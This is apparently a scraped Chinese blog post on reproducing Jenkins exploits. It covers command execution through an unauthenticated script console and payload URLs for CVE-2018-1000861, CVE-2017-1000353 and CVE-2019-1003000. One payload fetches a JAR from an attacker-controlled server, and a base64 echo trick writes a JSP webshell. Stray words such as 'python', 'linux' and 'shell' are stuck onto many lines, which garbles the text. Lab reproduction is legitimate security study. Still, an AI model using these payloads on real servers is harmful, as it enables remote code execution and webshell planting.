Jenkins漏洞利用復現

1、未受權訪問html

訪問url:java

http://172.16.20.134:8080/script

 

 

 

命令執行python

println "ls -al".execute().text

也能夠利用powershell 或者python腳本反彈shelllinux

 

 

 

2、CVE-2018-1000861 遠程命令執行漏洞git

payload:github

securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
  public x(){
    "touch /tmp/success".execute()
  }
}

  

 

&value=轉成url編碼shell

發送get請求:bash

 

python腳本:服務器

https://github.com/orangetw/awesome-jenkins-rce-2019/blob/master/exp.py

  

 

3、CVE-2017-1000353 遠程代碼執行jsp

工具地址:https://github.com/vulhub/CVE-2017-1000353

 https://ssd-disclosure.com/archives/3171

# 生成ser
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar 1.ser "touch /tmp/1.jsp"

# 發送ser
python exploit.py http://172.16.20.134:8080 1.ser

 

exploit.py這裏要註釋下,若是你使用代理的話能夠添加,這裏只是復現,用不到

 另一個linux寫shell的小技巧:

echo base64後的木馬內容 |base64 -d > 1.jsp

 

jsp生成成功

 

 

4、CVE-2019-1003000  遠程代碼執行漏洞

 

漏洞利用

http://url.com/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='payload', root='http://poc.com')%0a
@Grab(group='package', module='payload', version='1')%0a
import Payload;

poc.com是保存了JAR文件的服務器域名。

group、module、version的值對應了該jar文件的存放路徑。

修改version的值,對應的jar包的訪問路徑和文件名也發生改變。

 

 

腳本:https://github.com/wetw0rk/Exploit-Development/blob/master/CVE-2019-1003000%20%26%26%20CVE-2018-1999002%20-%20preAuth%20Jenkins%20RCE/sploit/jenkins-preauth-rce-exploit.py

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

相關文章
相關標籤/搜索